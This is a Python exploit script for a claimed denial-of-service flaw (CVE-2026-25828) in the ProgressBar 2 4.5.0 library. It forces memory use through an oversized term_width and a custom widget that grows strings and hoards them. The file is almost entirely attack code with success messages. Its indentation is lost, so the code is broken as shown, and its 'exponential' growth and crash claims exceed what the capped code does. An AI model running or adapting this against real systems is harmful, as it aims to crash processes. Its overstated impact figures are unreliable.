#!/usr/bin/env python3
"""
Exploit Title: ProgressBar 2 4.5.0 - Unbounded Resource Consumption Denial of Service (DoS)
The ProgressBar library for Python (version 2 4.5.0 ) contains multiple
unbounded resource consumption vulnerabilities that allow a local attacker
to cause a Denial of Service (DoS). By providing overly large values for
parameters such as term_width or maxval, or by using a custom widget that
returns an excessively long string, an attacker can force the library to
allocate massive amounts of memory or perform CPU-intensive calculations,
leading to a process crash or system unresponsiveness.
Tested on: Linux, Windows (Python 3.x)
CVE: CVE-2026-25828
"""
import sys
import os
import time
# Add current directory to path to import the module
sys.path.insert(0, os.path.dirname(__file__))
try:
from progressbar import ProgressBar
from widgets import Percentage, ETA, Bar
print("[*] ProgressBar 2 4.5.0 DoS Exploit")
print("-" * 50)
# Attack Vector 1: Memory exhaustion via term_width
print("[1] Memory exhaustion via term_width=999999")
pbar1 = ProgressBar(maxval=100, term_width=999999)
pbar1.start()
for i in range(5):
pbar1.update((i + 1) * 20)
print(f"Update {i+1} - Allocating ~1MB string")
time.sleep(0.5)
pbar1.finish()
print("[SUCCESS] Memory consumption forced")
# Attack Vector 2: Malicious widget with growing strings
print("\n[2] Malicious widget with exponential string growth")
from progressbar import widgets
class DoSWidget(widgets.Widget):
def __init__(self):
self.size = 1000
self.stored_strings = [] # Prevent garbage collection
def update(self, pbar):
# Double string size each time (up to 100KB)
self.size = min(self.size * 2, 100000)
huge_string = "A" * self.size
self.stored_strings.append(huge_string) # Keep reference
return f"[{len(huge_string)} bytes]"
pbar2 = ProgressBar(
maxval=15,
widgets=[DoSWidget(), ' ', widgets.Bar()]
)
pbar2.start()
for i in range(15):
pbar2.update(i + 1)
print(f"Update {i+1} - String size: {1000 * (2 ** min(i, 7))} bytes")
time.sleep(0.3)
pbar2.finish()
print("[SUCCESS] Progressive memory allocation demonstrated")
print("\n[+] Exploit completed - Vulnerabilities confirmed")
print("System may experience memory exhaustion or crash")
except MemoryError:
print("\n[!] CRASH: System out of memory!")
sys.exit(137)
except ImportError as e:
print(f"\n[!] Error: {e}")
print("Make sure progressbar files are in the current directory")
sys.exit(1)
except Exception as e:
print(f"\n[!] Unexpected error: {type(e).__name__}: {e}")
sys.exit(1)
